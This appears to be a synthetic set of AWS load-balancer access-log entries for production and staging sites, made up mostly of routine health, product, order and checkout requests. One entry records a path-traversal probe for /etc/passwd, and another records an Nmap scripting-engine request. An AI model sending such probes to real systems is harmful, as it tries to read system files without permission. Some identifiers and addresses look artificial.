249.88.238.185:22504 10.0.204.74:443 0.029885 0.204160 0.046239 302 302 173 5545 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db0d-18e58a4428c84304a949bd66" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:25.722323Z "forward" "-" "-" "10.0.204.74:443" "302" "-" "-" -https 2024-11-01T02:31:26.252614Z prod-api-alb 181.125.246.41:11879 10.0.94.147:443 0.003747 0.191079 0.048099 302 302 153 6454 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db0e-1a05ae87e152473b9f1f2b97" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:26.252614Z "forward" "-" "-" "10.0.94.147:443" "302" "-" "-" -https 2024-11-01T02:31:27.110192Z prod-web-alb 45.3.213.233:49278 10.0.205.7:443 0.020377 0.248463 0.008291 200 200 899 5102 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db0f-c904f28d4c0945d3a827631a" "prod-web-alb.example.com" "-" 0 2024-11-01T02:31:27.110192Z "forward" "-" "-" "10.0.205.7:443" "200" "-" "-" -https 2024-11-01T02:31:27.922216Z prod-web-alb 171.46.48.40:25855 10.0.80.214:443 0.045553 0.081971 0.014680 200 200 762 14442 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db0f-1fbb350904bc4e42a0a63bd6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:31:27.922216Z "forward" "-" "-" "10.0.80.214:443" "200" "-" "-" -https 2024-11-01T02:31:29.079732Z prod-api-alb 222.1.48.116:36308 10.0.202.80:443 0.072769 0.394517 0.075806 301 301 426 9426 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db11-cd3273d0c82546d58a7fecdb" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:29.079732Z "forward" "-" "-" "10.0.202.80:443" "301" "-" "-" -https 2024-11-01T02:31:29.262409Z prod-api-alb 31.244.94.202:26661 10.0.250.85:443 0.082836 0.337764 0.051951 200 200 14 2246 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db11-d0d7d5828854465a802ae60b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:31:29.262409Z "forward" "-" "-" "10.0.250.85:443" "200" "-" "-" -https 2024-11-01T02:31:30.480403Z prod-api-alb 236.177.237.244:10884 10.0.216.90:443 0.026165 0.204548 0.035453 200 200 463 6799 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db12-379b29b44a1b4f8886dd1fd6" "prod-api-alb.example.com" "-" 2 2024-11-01T02:31:30.480403Z "forward" "-" "-" "10.0.216.90:443" "200" "-" "-" -https 2024-11-01T02:31:31.976262Z staging-alb 43.128.8.51:11464 89.252.53.96:443 0.086897 0.672233 0.049118 301 301 249 10013 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db13-fbc603cdbb314b9cbbe9f5ec" "staging-alb.example.com" "-" 5 2024-11-01T02:31:31.976262Z "forward" "-" "-" "89.252.53.96:443" "301" "-" "-" -https 2024-11-01T02:31:32.578772Z prod-api-alb 56.230.155.111:39477 10.0.27.180:443 0.074303 0.462587 0.034058 301 301 837 12099 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db14-bfe1666b9958422b80402f8c" "prod-api-alb.example.com" "-" 1 2024-11-01T02:31:32.578772Z "forward" "-" "-" "10.0.27.180:443" "301" "-" "-" -https 2024-11-01T02:31:32.759994Z prod-web-alb 18.108.57.72:34476 10.0.114.97:443 0.016319 0.232911 0.007828 200 200 267 12163 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db14-028f35fb4a38465dbb2b69ae" "prod-web-alb.example.com" "-" 10 2024-11-01T02:31:32.759994Z "forward" "-" "-" "10.0.114.97:443" "200" "-" "-" -https 2024-11-01T02:31:33.455682Z prod-api-alb 170.222.129.24:53740 10.0.142.24:443 0.059245 0.139649 0.000081 200 200 451 11953 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db15-2a86cf4563b14ba8a5e2d216" "prod-api-alb.example.com" "-" 5 2024-11-01T02:31:33.455682Z "forward" "-" "-" "10.0.142.24:443" "200" "-" "-" -https 2024-11-01T02:31:34.362880Z prod-web-alb 203.50.183.192:38408 10.0.197.55:443 0.005331 0.134983 0.021087 200 200 867 14235 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db16-cba0b3dd5aaa483daab22b39" "prod-web-alb.example.com" "-" 2 2024-11-01T02:31:34.362880Z "forward" "-" "-" "10.0.197.55:443" "200" "-" "-" -https 2024-11-01T02:31:35.477857Z prod-api-alb 80.216.119.53:34541 10.0.127.119:443 0.022560 0.263165 0.012441 200 200 3 6020 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db17-f7c03e09503e46449b65279e" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:35.477857Z "forward" "-" "-" "10.0.127.119:443" "200" "-" "-" -http 2024-11-01T02:31:37.428679Z staging-alb 99.202.172.249:51803 11.207.86.215:8080 0.125920 0.029488 0.084336 200 200 886 5951 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db19-352657ef5f464355bdcfb8b1" "staging-alb.example.com" "-" 9 2024-11-01T02:31:37.428679Z "forward" "-" "-" "11.207.86.215:8080" "200" "-" "-" -https 2024-11-01T02:31:38.831932Z prod-web-alb 72.135.177.118:56786 10.0.1.253:443 0.057170 0.398838 0.095850 404 404 832 3232 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db1a-b660de7b67464c0597353193" "prod-web-alb.example.com" "-" 1 2024-11-01T02:31:38.831932Z "forward" "-" "-" "10.0.1.253:443" "404" "-" "-" -https 2024-11-01T02:31:40.345075Z prod-api-alb 248.112.250.192:38113 10.0.80.174:443 0.031449 0.187571 0.040025 200 200 467 7038 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db1c-f0671419940e436b815cf751" "prod-api-alb.example.com" "-" 4 2024-11-01T02:31:40.345075Z "forward" "-" "-" "10.0.80.174:443" "200" "-" "-" -https 2024-11-01T02:31:41.196317Z staging-alb 22.7.39.26:27609 179.181.234.240:80 0.095315 0.667431 0.016359 200 200 543 8833 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db1d-00652847233642fdaa6f294f" "staging-alb.example.com" "-" 9 2024-11-01T02:31:41.196317Z "forward" "-" "-" "179.181.234.240:80" "200" "-" "-" -https 2024-11-01T02:31:42.420562Z prod-web-alb 43.113.79.33:25578 10.0.136.160:443 0.009942 0.388106 0.096684 200 200 462 6652 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db1e-7d5d70d26588447b8bad4dd4" "prod-web-alb.example.com" "-" 9 2024-11-01T02:31:42.420562Z "forward" "-" "-" "10.0.136.160:443" "200" "-" "-" -https 2024-11-01T02:31:43.014933Z prod-api-alb 139.145.101.51:63929 10.0.172.147:443 0.074001 0.387473 0.089262 200 200 247 9906 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db1f-42606447bf3a4e97b4ece9fd" "prod-api-alb.example.com" "-" 1 2024-11-01T02:31:43.014933Z "forward" "-" "-" "10.0.172.147:443" "200" "-" "-" -https 2024-11-01T02:31:43.326798Z prod-api-alb 253.48.39.62:53298 10.0.59.201:443 0.051666 0.335705 0.050836 200 200 5 13404 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db1f-4171cc29b7f04da5910ecb7b" "prod-api-alb.example.com" "-" 0 2024-11-01T02:31:43.326798Z "forward" "-" "-" "10.0.59.201:443" "200" "-" "-" -https 2024-11-01T02:31:44.821693Z prod-web-alb 144.210.36.240:10018 10.0.121.105:443 0.065973 0.258597 0.098619 200 200 596 4832 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db20-498a8ecf59a74cf89926e5e2" "-" "-" 5 2024-11-01T02:31:44.821693Z "forward" "-" "-" "10.0.121.105:443" "200" "-" "-" -https 2024-11-01T02:31:45.176824Z prod-web-alb 15.146.235.85:18584 10.0.7.226:443 0.073276 0.422090 0.028293 200 200 919 3262 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db21-a77dd05f902f4cbd80291bbc" "prod-web-alb.example.com" "-" 7 2024-11-01T02:31:45.176824Z "forward" "-" "-" "10.0.7.226:443" "200" "-" "-" -https 2024-11-01T02:31:45.477053Z prod-web-alb 75.48.81.214:48126 10.0.6.141:443 0.096566 0.434692 0.001291 302 302 872 10257 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db21-f2c5ce7defa7420ba64d8323" "prod-web-alb.example.com" "-" 3 2024-11-01T02:31:45.477053Z "forward" "-" "-" "10.0.6.141:443" "302" "-" "-" -https 2024-11-01T02:31:47.058381Z prod-web-alb 106.126.187.61:41674 10.0.232.236:443 0.031952 0.019220 0.066205 200 200 34 3409 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db23-62b35803490d4009812a1394" "prod-web-alb.example.com" "-" 2 2024-11-01T02:31:47.058381Z "forward" "-" "-" "10.0.232.236:443" "200" "-" "-" -http 2024-11-01T02:31:47.586668Z staging-alb 106.84.24.118:39356 129.94.90.0:443 0.128061 0.268353 0.127966 200 200 636 9434 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db23-0fd43f532f8c459589f8ab01" "staging-alb.example.com" "-" 0 2024-11-01T02:31:47.586668Z "forward" "-" "-" "129.94.90.0:443" "200" "-" "-" -http 2024-11-01T02:31:48.125469Z staging-alb 200.252.102.158:39811 254.110.43.241:443 0.132076 0.016078 0.032021 200 200 804 5994 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db24-3f08887b717d4b40b0323b09" "-" "-" 7 2024-11-01T02:31:48.125469Z "forward" "-" "-" "254.110.43.241:443" "200" "-" "-" -https 2024-11-01T02:31:49.142792Z prod-web-alb 95.4.69.9:63825 10.0.196.251:443 0.090949 0.401161 0.017900 200 200 126 3536 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db25-ca534c229e7f4c3cbe31ac35" "prod-web-alb.example.com" "-" 6 2024-11-01T02:31:49.142792Z "forward" "-" "-" "10.0.196.251:443" "200" "-" "-" -https 2024-11-01T02:31:51.009299Z prod-web-alb 20.189.196.38:50313 10.0.79.90:443 0.057035 0.253825 0.016599 302 302 61 9386 "GET /products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723db27-b888a9e582784a24948fa2d9" "prod-web-alb.example.com" "-" 8 2024-11-01T02:31:51.009299Z "forward" "-" "-" "10.0.79.90:443" "302" "-" "-" -https 2024-11-01T02:31:51.394524Z prod-api-alb 131.171.11.5:55223 10.0.54.212:443 0.081638 0.030483 0.050023 301 301 195 2578 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db27-688a360bab73447cb5876909" "prod-api-alb.example.com" "-" 9 2024-11-01T02:31:51.394524Z "forward" "-" "-" "10.0.54.212:443" "301" "-" "-" -http 2024-11-01T02:31:52.398805Z staging-alb 105.221.49.248:51720 128.241.46.189:443 0.100722 0.738050 0.009199 301 301 574 5626 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db28-e8cf6aa3da494a029743f7de" "staging-alb.example.com" "-" 4 2024-11-01T02:31:52.398805Z "forward" "-" "-" "128.241.46.189:443" "301" "-" "-" -https 2024-11-01T02:31:53.719309Z prod-api-alb 167.52.108.240:52382 10.0.84.254:443 0.050035 0.002598 0.096578 200 200 352 10084 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db29-fd1b25f2d9f8419b80b4e08f" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:53.719309Z "forward" "-" "-" "10.0.84.254:443" "200" "-" "-" -https 2024-11-01T02:31:54.529338Z staging-alb 185.181.253.193:62629 170.142.66.127:80 0.012996 0.501174 0.023064 500 500 276 12238 "POST /metrics HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db2a-c73812afa5b442eda9fefb9b" "-" "-" 7 2024-11-01T02:31:54.529338Z "forward" "-" "-" "170.142.66.127:80" "500" "-" "-" -https 2024-11-01T02:31:54.674474Z prod-api-alb 61.82.39.32:62845 10.0.42.229:443 0.032958 0.293476 0.073321 301 301 231 14281 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db2a-51dc9acb043a4e61a9808799" "prod-api-alb.example.com" "-" 6 2024-11-01T02:31:54.674474Z "forward" "-" "-" "10.0.42.229:443" "301" "-" "-" -https 2024-11-01T02:31:56.643392Z prod-api-alb 193.27.228.26:40153 10.0.31.2:443 0.007412 0.211609 0.012423 404 404 949 9701 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db2c-62ce1d7061a84311ba56bbec" "-" "-" 4 2024-11-01T02:31:56.643392Z "forward" "-" "-" "10.0.31.2:443" "404" "-" "-" -https 2024-11-01T02:31:57.954347Z staging-alb 23.219.61.210:33671 237.44.116.53:443 0.065140 0.731843 0.105988 301 301 641 9007 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db2d-201a845dc1c84b4e91947747" "staging-alb.example.com" "-" 5 2024-11-01T02:31:57.954347Z "forward" "-" "-" "237.44.116.53:443" "301" "-" "-" -http 2024-11-01T02:31:58.309635Z staging-alb 52.138.132.29:51265 211.113.12.202:443 0.062741 0.211654 0.098192 301 301 613 11331 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db2e-f9f712c4c79748c8a5af2cfc" "staging-alb.example.com" "-" 3 2024-11-01T02:31:58.309635Z "forward" "-" "-" "211.113.12.202:443" "301" "-" "-" -https 2024-11-01T02:32:00.167825Z prod-web-alb 189.63.247.245:31323 10.0.151.71:443 0.090611 0.211883 0.066439 200 200 417 4761 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db30-687aa26205c8468bbb6e418e" "-" "-" 1 2024-11-01T02:32:00.167825Z "forward" "-" "-" "10.0.151.71:443" "200" "-" "-" -https 2024-11-01T02:32:00.951660Z prod-api-alb 181.94.131.182:28361 10.0.9.101:443 0.023873 0.135461 0.078569 200 200 307 12255 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db30-dcb4247155f64123a2504708" "prod-api-alb.example.com" "-" 4 2024-11-01T02:32:00.951660Z "forward" "-" "-" "10.0.9.101:443" "200" "-" "-" -http 2024-11-01T02:32:02.210508Z staging-alb 248.191.194.66:36862 129.161.56.112:443 0.098087 0.617678 0.131215 200 200 107 2745 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db32-b91c1f5ea4e24d068286f785" "staging-alb.example.com" "-" 8 2024-11-01T02:32:02.210508Z "forward" "-" "-" "129.161.56.112:443" "200" "-" "-" -https 2024-11-01T02:32:03.400622Z prod-web-alb 178.249.78.3:36101 10.0.17.116:443 0.080678 0.256239 0.056980 200 200 283 8918 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db33-9241984857854cb684dd8fdc" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:03.400622Z "forward" "-" "-" "10.0.17.116:443" "200" "-" "-" -https 2024-11-01T02:32:04.525417Z prod-api-alb 240.114.49.76:20664 10.0.4.65:443 0.040692 0.376846 0.044618 200 200 511 7218 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db34-769eed78c33f47b68c7bdc88" "prod-api-alb.example.com" "-" 5 2024-11-01T02:32:04.525417Z "forward" "-" "-" "10.0.4.65:443" "200" "-" "-" -https 2024-11-01T02:32:06.461057Z prod-web-alb 74.217.92.82:34291 10.0.74.96:443 0.096113 0.387983 0.042669 302 302 132 8992 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db36-ae361a4d973c434499f8bbf8" "prod-web-alb.example.com" "-" 10 2024-11-01T02:32:06.461057Z "forward" "-" "-" "10.0.74.96:443" "302" "-" "-" -https 2024-11-01T02:32:06.881249Z prod-api-alb 124.190.38.1:27937 10.0.181.106:443 0.093701 0.387387 0.027460 404 404 324 9424 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723db36-05abab30942a44b2810d42cf" "prod-api-alb.example.com" "-" 8 2024-11-01T02:32:06.881249Z "forward" "-" "-" "10.0.181.106:443" "404" "-" "-" -https 2024-11-01T02:32:07.402310Z prod-web-alb 3.27.45.149:21869 10.0.192.221:443 0.051315 0.193954 0.083050 200 200 361 11515 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723db37-9f7b57fd6fd54fd49f130927" "prod-web-alb.example.com" "-" 8 2024-11-01T02:32:07.402310Z "forward" "-" "-" "10.0.192.221:443" "200" "-" "-" -https 2024-11-01T02:32:07.660429Z staging-alb 233.103.173.78:41275 236.2.217.137:8080 0.033890 0.353575 0.091192 200 200 830 2634 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723db37-2060432628734698bc3e98fb" "staging-alb.example.com" "-" 6 2024-11-01T02:32:07.660429Z "forward" "-" "-" "236.2.217.137:8080" "200" "-" "-" -http 2024-11-01T02:32:08.357822Z staging-alb 212.82.144.203:49104 109.5.225.11:80 0.148906 0.437743 0.052805 200 200 402 12765 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723db38-c6819bc6efa145918ae3cf00" "staging-alb.example.com" "-" 7 2024-11-01T02:32:08.357822Z "forward" "-" "-" "109.5.225.11:80" "200" "-" "-" -https 2024-11-01T02:32:09.101884Z prod-api-alb 164.90.180.37:10915 10.0.18.46:443 0.061769 0.291574 0.015365 301 301 78 5915 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db39-c9364ed875144d94a4332952" "prod-api-alb.example.com" "-" 1 2024-11-01T02:32:09.101884Z "forward" "-" "-" "10.0.18.46:443" "301" "-" "-" -https 2024-11-01T02:32:10.342415Z prod-api-alb 253.131.43.101:30599 10.0.60.12:443 0.047040 0.070902 0.010860 404 404 930 5692 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723db3a-90cc0e957e8b4fa187e1bab8" "prod-api-alb.example.com" "-" 0 2024-11-01T02:32:10.342415Z "forward" "-" "-" "10.0.60.12:443" "404" "-" "-" -https 2024-11-01T02:32:11.587572Z prod-web-alb 187.109.170.146:21024 10.0.93.173:443 0.082566 0.055658 0.031821 200 200 420 2853 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 